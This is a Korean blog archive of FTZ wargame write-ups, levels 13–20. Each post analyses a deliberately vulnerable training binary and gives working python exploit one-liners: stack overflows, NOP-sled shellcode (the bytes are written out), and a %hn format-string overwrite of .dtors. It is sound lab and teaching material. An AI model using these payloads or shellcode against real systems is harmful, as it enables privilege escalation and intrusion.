해킹/FTZ 11~20 - 10

  1. FTZ_level20 2016.01.14
  2. FTZ_level19 2016.01.13
  3. FTZ_level18 2016.01.13
  4. FTZ_level17 2016.01.13
  5. FTZ_level16 2016.01.13
  6. FTZ_level15 2016.01.13
  7. FTZ_level14 2016.01.13
  8. FTZ_level13 2016.01.13

FTZ_level20

해킹/FTZ 11~20 2016. 1. 14. 04:10


level20의 힌트.

이 문제는 여태까지와 다르게 bof 문제가 아니다.

딱보면 알 수 있는 이유는 fgets 함수를 사용하여 크기를 체크하고 있기 때문이다.

그럼 이 프로그램은 어디서 취약점이 발생하냐 하면

printf(bleh);바로 이부분이다.

printf와 같이 %s, %c %x등 '포맷스트링'을 사용하는 함수들은 저렇게 포인터만으로 구성했을 때 포맷스트링 버그 취약점이 생긴다.

반드시 printf("포맷스트링", 변수);와 같이 사용해야 안전하다.



자 그럼 먼저 포맷스트링의 원리를 간단히 알아보자.








printf 함수가 포맷스트링을 찾는 방식을 설명하기 위한 그림이다.

맨 왼쪽 SFP의 더 좌측부터가 printf의 스텍이고 우측은 main의 스텍이다.

위와같이 printf 함수가 호출되면 ebp+8부분에 포맷스트링을 포함한 문장의 주소를 가지게 된다.

printf는 해당 주소의 내용을 "I'm "까지 출력하고 나서 %d를 감지하고는 문장주소의 4바이트 뒤에 들어있는 25라는 숫자를 찾아낸다.


그럼 저 문장 주소라고 되어있는 자리에 그냥 입력받은 문자열을 가르키는 포인터가 있는 경우 어떤 문제가 생길까?

일반적으로는 별 문제가 생기지 않지만 입력받은 문자열에 포맷스트링이 있는 경우에 문제가 생긴다.

실제로 attckme 프로그램에 포맷스트링 %x를 몇개 집어넣어 보자.




내가 입력한 aaaa가 0x61616161이라는 형태로 다시 튀어나왔다.

어째서 이런 현상이 발생하냐하면




이런 그림으로 설명할 수 있다.

printf는 bleh의 주소에서 %x를 만날때 마다 뒷쪽 4바이트를 읽어서 출력했고 네번째에 bleh의 주소까지 내려가서 aaaa까지 읽은 것이다.




그럼 이것만으로 어떻게 공격을 하느냐... 이것만으로는 불가능하고 %n이라는 놈에 대해서 알아야 한다.

이 %n이라는 포맷스트링은 정말 특이한 역할을 한다.

%n은 자신 앞까지 문장의 자릿수를 센 다음 위의 과정과 마찬가지로 4바이트 뒤에서 주소를 찾는다.

그리고 해당 주소에 그 자릿수를 집어넣는다.


그러니까 예컨대 저 마지막 네번째 %x 대신 %n이 들어갔다면 0x61616161이라는 주소에 %n까지의 자리수를 적어넣을 것이다.

그럼 aaaa대신에 내가 원하는 주소를 넣어주면 해당주소의 값을 변조할 수 있는 것이다.

그렇다면 그 주소에 들어가는 숫자, 즉 자릿수는 어떻게 맞춰줄 것이냐? %123c 이런식으로 하면 123자리를 인위적으로 만들 수 있다.

어떤 주소를 덮어야 할까?? 만약 main함수가 좀더 길어서 뒤에 함수가 더 있다면 GOT 부분을 덮어써도 좋겠지만... 이 프로그램은 printf 이후에 바로 종료되어 버리니 main함수가 종료되고 나서 실행되는 .dtors부분을 덮어쓰면 되겠다.


.dtors에 대해서는 추가적으로 공부할 필요를 느끼는데... 일단은 objdump -h로 알아낼 수 있다.


여기서 두번째에 쓰여있는 0x08049594부분이 dtors의 주소이다.

해당 부분을 gdb로 보면..



이렇게 나온다. 이 attackme 프로그램에선 심볼을 다 지워놔서 setreuid+4764 이렇게 나오지만 실제로는 .dtors 부분이다.

보이는것 처럼 0xffffffff 뒤에 0x00000000이 나온다. 이게 심볼과 함께 보면 __DTOR_LIST__ 라고 나오는데 아마 리스트로 구성되고 0xffffffff부분이 구분선의 역할을 하는 것 같다.

그래서 실제 덮어써야 할 주소는 0x08049594가 아닌 그 4바이트 뒤에 널로 채워져 있는 0x08049598주소가 되겠다.



그럼 쉘코드의 주소를 넣기 위해서 환경변수에 쉘코드를 올려놓고 주소를 확인해보자.




10000개의 nop+ 41바이트 쉘코드를 올려놓고 주소가 0xbfffd50a인 것을 확인했다.

+5000정도를 해서 nop의 중간지점인 0xbfffe892를 넣도록 하자.




자 그럼 목적이 확실해졌다.

포맷스트링 버그를 이용하여 .dtors+4주소인 0x08049598에 쉘코드 주소인 0xbfffe892를 집어넣는다.

이제 방법론, 즉 포맷스트링 버그를 어떻게 이용할까의 문제다.


먼저 작은 문제가 하나 있다. 집어넣을 숫자인 0xbfffe892가 int 자료형의 범위보다 커지는 것이다. 결국 2바이트씩 2번에 걸쳐서 넣는 방법을 쓰는데..

뭐 %n을 사용해서 뒷쪽 2바이트가 삐져나오지만 4바이트씩 2바이트 겹치게 두번 쓰는 방법도 있고... %hn을 사용해서 2바이트씩 쓰는 방법도 있다.

%hn을 이용해서 2바이트씩 두번 넣는 방법을 사용하기로 했다. %hn은 %n과 똑같은 기능을 하면서 short 자료형으로 써서 2바이트만 쓰는것이 가능하다.

조금 복잡해보이지만... 0xbfff 보다 0xe892가 크므로 먼저 작은 0xbfff를 0x0804959a에 집어넣고 그다음에 0x08049598에 0xe892를 집어넣으면 최종적으로

0x92 0xe8 0xff 0xbf 로 메모리에 들어가서 0xbfffe892가 만들어질 것이다. 작은수를 먼저 넣는 이유는 계산을 편하게 하기 위해서다. 뒤에 구성을 보면 이해가 간다.



0x0804959a||더미 4바이트||0x08049598||%8x||%8x||%49123c||%hn||%10387c||%hn

구성한 페이로드는 위와 같다.

아까 %x를 attackme에 넣어봤을 때 네번째 %x에 첫 입력값인 0x61616161이 나왔었다.

그러므로 위 페이로드에서는 네번째 포맷스트링인 %hn이 첫 입력값인 0x0804959a의 주소에 앞의 자리수 4+4+4+8+8+49123=49151=0xbfff를 입력할 것이다.

마찬가지로 여섯번째 포맷스트링인 두번째 %hn은  거기에서 4*2=8바이트 뒤에 쓰여진 0x08049598라는 주소에 앞의 자리수를 더한 0xbfff+10387=0xe892를 입력할 것이다. 

설명은 이해가 쉽게 역순으로 했지만 사실 0xbfff를 만들기 위해서 0xbfff-(4+4+4+8+8)=49123 이런식으로 %c에 들어갈 숫자를 구하는 것이다.

마찬가지로 두번째로 %c에 들어갈 숫자는 0xe892-0xbfff=10387 로 구해줬다.

이게 대체 왜 이렇게 되는지 처음엔 이해가 잘 안갔지만... 천천히 들여다보면 조금씩 이해가 된다. %n은 출력이 없으므로 자리수를 먹지 않는다.



위 구성대로 페이로드를 짜봤다.

(python -c 'print "\x9a\x95\x04\x08"+"aaaa"+"\x98\x95\x04\x08"+"%8x"*2+"%49123c"+"%hn"+"%10387c"+"%hn"';cat)|./attackme






......


공격에 성공했다!!

이로써 기나긴 FTZ 포스팅을 마친다... 몰아쳐서 하느라 고생이 많았던 나에게 영광을 바친다.

끝-

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level19  (0) 2016.01.13
FTZ_level18  (0) 2016.01.13
FTZ_level17  (0) 2016.01.13
FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
Tags
Social

FTZ_level19

해킹/FTZ 11~20 2016. 1. 13. 23:01


level18에서 심하게 복잡했던 문제가 또 심하게 단순해졌다.

이 문제는... 아마도 쉘코드를 만들 수 있느냐는 문제로 보인다.

코드 자체는 gets 함수를 사용해서 아주 취약하게 짜여져 있지만 아래 레벨에서처럼 setreuid를 해주는 코드가 없다.

그렇다면 setreuid를 포함하는 쉘코드를 짜서 사용하면 된다. 나는 아래 41바이트짜리 쉘코드를 사용했다.

쉘코드를 작성하는 방법에 대해서는 이 포스팅에서 다루지 않고 따로 정리 포스팅을 만들 계획이다.


\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80




음... 이 쉘코드를 만들고서 환경변수에 집어넣으려고 하니 너무 여태까지 해왔던 것과 똑같고 밑밑하다. 환경변수 없이 풀어보자.

aslr을 우회하기 위해서 놉을 많이 넣을수 있는 환경변수를 택해왔는데 꼭 그럴필요는 없다.

일단 디버깅을 해본 후 천천히 살펴보자.




동적 디버깅을 위해 hint를 tmp폴더 밑에 가져와서 똑같은 attackme를 권한만 level19의 권한으로 만들었다.

level20권한의 진짜 attackme는 동적 디버깅이 불가능하다.





내용은 역시나 상~당히 단순하다.

ebp-40부분에 buf변수가 위치하니 44바이트 더미와 리턴주소를 넣어주면 될것이다.



여기서 이전까지의 포스팅과는 다르게 쉘코드를 집어넣을건데....

바로 nop을 리턴주소 뒷쪽에다가 집어넣은 방식이다.

gets함수가 길이를 전혀 체크하지 않으므로 리턴주소 뒷쪽에도 스텍에 공간이 허락하는 한 계속해서 nop을 집어넣을 수 있다.

그런식으로 많은 수의 nop을 넣어서 aslr을 우회할 것이다.


그러기 위해서는 우선 스텍이 대충 어디쯤에 위치하는지 살펴보자.



우선 main+28부분에 브레이크를 걸고 실행시킨뒤 입력값으로 대충 a를 몇개 넣고 buf 부분을 봤다.

buf는 절대주소(VA)상 0xbfffbd00에 위치한다. 물론 프로그램을 다시 실행시키면 Image base가 다른 랜덤한 값으로 변하므로 다른 주소에 위치할 것이다.

아무튼 디버깅하는 지금은 0xbfffbd00에 buf가 위치하고 44바이트 뒤엔 0xbfffbd2c부분이 리턴주소가 될 것이다.

스텍 영역의 끝이 0xbfffffff이므로 여기서 0xbfffbd2c를 빼면 대략 17107개정도는 입력값을 더 넣을 수 있다. 마찬가지로 Imagebase가 변하면서 VA가 다음실행에는 더 커질수도 있으므로 넉넉하개 nop을 10000개정도만 넣어주자.

그리고 그 nop들의 중간지점인 0xbfffdb2c+5000=0xbfffe3b4 정도로 리턴값을 떨궈주면 되겠다.


최종적인 페이로드는 더미 44바이트 + 리턴주소(0xbfffe3b4) + 0x90(nop)*10000 + 쉘코드


(python -c 'print "a"*44+"\xb4\xe3\xff\xbf"+"\x90"*10000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat)|./attackme


이렇게 페이로드를 작성한 뒤 실행시켜 주면...




.........


이런식으로 스텍을 이용해서도 bof 공격에 성공했다.

끝-

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level20  (0) 2016.01.14
FTZ_level18  (0) 2016.01.13
FTZ_level17  (0) 2016.01.13
FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
Tags
Social

FTZ_level18

해킹/FTZ 11~20 2016. 1. 13. 22:01

level18의 hint 내용.

음.... 소스코드가 계속 비슷하다고 불평했더니 달라도 너무 다른놈이 나왔다.

문제의 목적은 check변수에 0xdeadbeef라는 값을 넣는 것이다.

솔직히 옛날에 이문제를 어떻게 풀었을까라는 생각도 했다. 모르는 함수가 너무 많다. 사실 중요한 부분은 아니니 대충 넘기고 풀었겠지만..

어쨋든 대충 공부한 바로는


-fd_set이라는 자료형은 fd들의 활성화 여부(맞나?)를 나타내는 테이블로 구성되는데... 즉 stdin에 내용이 없으면 fd[0]=0 있으면 fd[1]=1 이런식으로 사용되는 것 같다.


-FD_ZERO 함수는 이 테이블들을 전부 0으로 세팅해주는 함수인 듯 하고.

-FD_SET부분의 내용은 stdin을 1로 바꾼다는 뜻인것 같다.

즉 모든 fd들을 비활성화 하고 stdin만 켜놓은 상태를 만드는 것 같다.


-그리고 select 함수는 활성화된 fd의 갯수를 반환하므로 select함수가 들어간 if문은 입력값이 있는가를 판한하는 내용으로 보인다.

-FD_ISSET 역시 select와 비슷하게 stdin이 세트되어 있는지를 확인하는 것 같은데 왜 두개를 중복해서 사용했는지는 의문이다.


뭐 그래서 결론을 말하자면 fd=0 즉, stdin만 빼고 모든 fd를 강제로 비활성화 시킨 뒤에 stdin으로부터 한글자씩 read해서 string[count]에 집어넣겠다는 뜻으로 보인다.

왜 저렇게 쓸데없이 복잡한 함수들을 사용했는지는 모르겠다. 뭔가 이유가 있을텐데 궁금하지는 않다.

일단 디버깅을 해보자.

이번 레벨의 디스어셈 코드는 너무 길어서 필요한 일부만 가져오도록 하겠다.




먼저 눈에 들어오는건 main+12, +19 부분이다.

ebp-108, ebp-112에 각각 0을 집어넣어줬다.

c 코드 상에서 int x=0; int count=0;에  해당하는 부분이다. ebp-112가 count변수라는 정보를 알수 있다.






두번째로 main+91에 0xdeadbeef와 비교하는 부분이 나온다. ebp-104부분이 check변수에 해당하는 부분이라는 것을 말해준다.




그다음은 cmp와 je가 여러번 반복되는 것으로 보아 switch case 부분이다.

이부분 자체가 많은 정보를 가지지는 않지먄 이부분의 jmp, je 주소를 보면 흐름을 파악하기 쉽다.

여기에서 jmp main+499라는 부분이 나오는데 이부분이 default의 경우에 실행하는 문장이다. string[100]배열에 대한 단서가 필요하므로 따라가보자.





이 default 부분이 많은 단서를 포함하고 있다. 상당히 복잡한 어셈블리 코드지만 인내심을 가지고 살펴보자.

먼저 ebp-100의 주소가 어떻게 이동하는지 살펴보자


main+499에서 ebp-100이 eax로 들어가서 그다음 문장에서 ebp-252로 들어간 다음 최종적으로 main+526에서 ecx 레지스터로 값이 들어간다. 보기쉽게 정리하면

ebp-100 -> eax -> [ebp-252] -> ecx 이렇게 된다. (그냥 ebp-100 은 실제 ebp에 들어있는 주소에 -100을 한 값을 뜻하고 []에 묶인 [ebp-252]는 ebp-252가 가르키는 주소에 들어있는 값을 뜻한다 오해가 없길 바란다.)


한편으로 아까 count인것을 확인한 ebp-112 부분은 edx로 들어간다.

리고 main+532에서 al에 든 값을 [edx+ecx]로 옮기는데 이부분이 바로 string[count]=x; 부분이다.


즉 ebp-100이 string이라는 배열의 시작주소이고 이 시작주소에 count만큼 더한 부분에 stdin에서 한글자를 가져와 집어넣는다는 내용이다.

포스팅의 맨 앞에서 언급했듯이 목적은 check변수에 0xdeadbeef라는 값을 넣는 것이고 디버깅하며 살펴본 바로는 이 변수는 ebp-104에 위치한다.(main+91 참고)


그렇다면 ebp-100인 string의 주소에서 -4반큼 더한 ebp-104에 값을 넣어야 하므로 count를 -4로 만들면 되겠다.

편리하게도 c 코드를 보면 switch case 문에서 0x08일 경우 count--를 하게 되어있다.

즉 0x08을 네번 입력해서 count를 -4로 만들어준 뒤 0xdeadbeef를 입력해주면 될 것이다.


페이로드는 (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|./attackme

실행해보면




쉘이 잘 떴는지 my-pass로 확인해 보니 성공했다.

끝-



ps.이 프로그램에 입력을 몇개 넣어보다 보면 switch case문에 나와있는 문자열을 입력하면 printf 함수가 실행되서 뭔가 출력을 뱉어야 하는데도 프로그램이 출력을 뱉지 않는것을 알 수 있다. 아마도 FD_ZERO에서 stdout을 비활성화 했기 때문이 아닌가 싶다.

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level20  (0) 2016.01.14
FTZ_level19  (0) 2016.01.13
FTZ_level17  (0) 2016.01.13
FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
Tags
Social

FTZ_level17

해킹/FTZ 11~20 2016. 1. 13. 18:40


level16과 똑같지만 shell함수가 삭제되었다.

별로 낙심할 필요는 없다. 함수 대신 쉘코드를 환경변수에 넣어주고 환경변수를 가르키게 하면 된다. 여태까지 해왔던 방식 그대로다.


중간에 vi tmp는 실수다;;

아무튼간에 전처럼 10000개의 nop과 25바이트 쉘코드를 합친 내용을 환경변수에 넣어주고 그 주소를 출력해 주는 프로그램을 짜서 주소를 구했다.

마찬가지로 0xbfffd51a에 5000을 더해줘서 0xbfffe8a2에 void *call을 떨궈주도록 하자.


40바이트 더미 뒷쪽에 4바이트 주소인것 이제는 확인하고 싶지도 않다 그냥 디버깅 없이 페이로드를 만들어 입력했다.


(python -c 'print "a"*40+"\xa2\xe8\xff\xbf"';cat)|./attackme



풀렸다.

한가지 첨언하고 싶은 것은 쉘코드를 넣어주고 그것을 가르키게 한 것이 level16에서 shell()함수를 가르킨 것과 논리적으로 완전히 똑같다는 것이다. 곰곰히 생각해보길 바란다.

끝-

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level19  (0) 2016.01.13
FTZ_level18  (0) 2016.01.13
FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
Tags
Social

FTZ_level16

해킹/FTZ 11~20 2016. 1. 13. 18:31


level15의 attackme 코드

음... 이건 그냥 level15와 완벽히 같은 문제이다.

level15에서는 deadbeef가 있는 코드의 주소를, 여기서는 shell함수의 시작주소를 전달해주면 된다.




먼저 main을 확인해준다. 전과 마찬가지로 ebp-56과 ebp-16까지 40바이트 차이, 40바이트 더미와 4바이트 주소를 넣어주면 된다.




disass shell을 해서 쉘의 주소를 확인. 0x080484d0임을 확인했다.


페이로드는 (python -c 'print "a"*40+"\xd0\x84\x04\x08"';cat)|./attackme



문제들이 거의 변화가 없이 계속되서 좀 지루함을 느낀다.

끝-

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level18  (0) 2016.01.13
FTZ_level17  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
FTZ_level13  (0) 2016.01.13
Tags
Social

FTZ_level15

해킹/FTZ 11~20 2016. 1. 13. 17:59


level15의 attackme 소스다.

처음에는 뭐가 바꼈는지 몰랐을 정도로 level14와 판박이다.

자세히 보니 check이 int형 포인터로 바뀌었다. 전에는 스텍에서 check의 영역에 직접 0xdeadbeef를 넣어줬지만 이제는 0xdeadbeef를 가르키는 주소를 넣어주면 되겠다.



먼저 main을 디스어셈블한 결과다. level14와 마찬가지로 ebp-56이 buf, ebp-16이 check이다.

이 check에 주소를 넣어서 0xdeadbeef를 가르키게 해야 하는데...

안타깝게도 FTZ 서버에는 aslr이 걸려있어서 0xdeadbeef를 스텍 어딘가나 환경변수에 넣어놓고 그 주소를 check에 넣어줄 수는 없다.

하지만 aslr이 걸려있어도 코드 자체의 주소는 변하지 않는다.

그러므로 0x080484b0 <main+32>에서 쓰이는 저 0xdeadbeef를 사용하면 된다.

정확한 주소를 보기위해 해당부분의 메모리를 바이트단위로 나열해봤다.




보면 세번째에 0xdeadbeef가 쓰여있는것이 보인다. 그러므로 정확한 주소는 0x080484b2가 되겠다.


페이로드는 40바이트 더미 + 0x080484b2  를 파이프로 넣어주면 된다.

(python -c 'print "a"*40+"\xb2\x84\x04\x08"';cat)|./attackme


level16의 패스워드를 얻어냈다.

끝-

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level17  (0) 2016.01.13
FTZ_level16  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
FTZ_level13  (0) 2016.01.13
FTZ_level12  (0) 2016.01.13
Tags
Social

FTZ_level14

해킹/FTZ 11~20 2016. 1. 13. 17:42


음.. check 부분을 0xdeadbeef로 덮어주면 되는 문제다. 쉘코드를 쓰지 않는다는 점에서 오히려 전보다 쉬운 듯..

바로 디버깅으로 들어가자.



fgets로 들어가는 인자를 보아하니 ebp-56부분이 buf 영역이고

main+29의 cmp 명령어를 보니 ebp-16이 check변수의 영역이다.

그러면 40바이트의 더미 뒤에 0xdeadbeef를 넣어줘서 총 44바이트의 입력값을 넣어주면 되겠다.

fgets에서 stdin을 통해서 입력을 받으므로 level12와 마찬가지로 파이프를 사용하면 되겠다.



레벨은 올라가는데 난이도는 점점 쉬워지는 느낌이다.

끝-

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level13  (0) 2016.01.13
FTZ_level12  (0) 2016.01.13
FTZ_level11  (0) 2016.01.13
Tags
Social

FTZ_level13

해킹/FTZ 11~20 2016. 1. 13. 17:31


level13 attackme의 소스코드.

보아하니 level11과 마찬가지로 argv로 입력을 받으면서 중간에 있는 i를 건드리지 말아야 하는 모양이다.

일종의 canary와 비슷하게 만든것 같은데 그냥 중간에 0x1234567을 다시 넣어주면 된다. 64비트였으면 0x0000000001234567 이런식으로 널을 4바이트를 넣어줘야 하고 그러면 뒷부분을 입력할 수 없어 매우 까다로웠겠지만 32비트 운영체제에서는 long도 똑같이 4바이트를 할당한다.

디버깅을 해보자.



strcpy를 호출하기 전을 보니 ebp-1048부분이 buf변수에 할당된 부분이고 cmp부분을 보니 ebp-12 부분이 i변수에 할당된 부분이다.

음 그렇다면 ebp-1048부터 ebp+8까지 총 1056바이트를 덮어야 하고

이 1056바이트의 구성은 더미1036바이트 + 0x1234567 + 더미 12바이트 + 쉘코드 주소 4바이트가 되겠다.





먼저 이전과 마찬가지로 환경변수 oxqo에 쉘코드를 넣어주고..

getenv를 하는 test라는 프로그램을 돌려서 구한 oxqo환경변수의 주소는 0xbfffd525.

5000정도를 더한 0xbfffe8ad를 리턴에 넣어주도록 하자.


 

더미바이트를 a b c 순서로 넣어줬는데 c부분 4바이트가 SFP 영역이고 그 뒤 네바이트가 리턴주소이다.

캡쳐에서 보이다시피 쉘이 잘 열렸다.

끝-

'해킹 > FTZ 11~20' 카테고리의 다른 글

FTZ_level16  (0) 2016.01.13
FTZ_level15  (0) 2016.01.13
FTZ_level14  (0) 2016.01.13
FTZ_level12  (0) 2016.01.13
FTZ_level11  (0) 2016.01.13
Tags
Social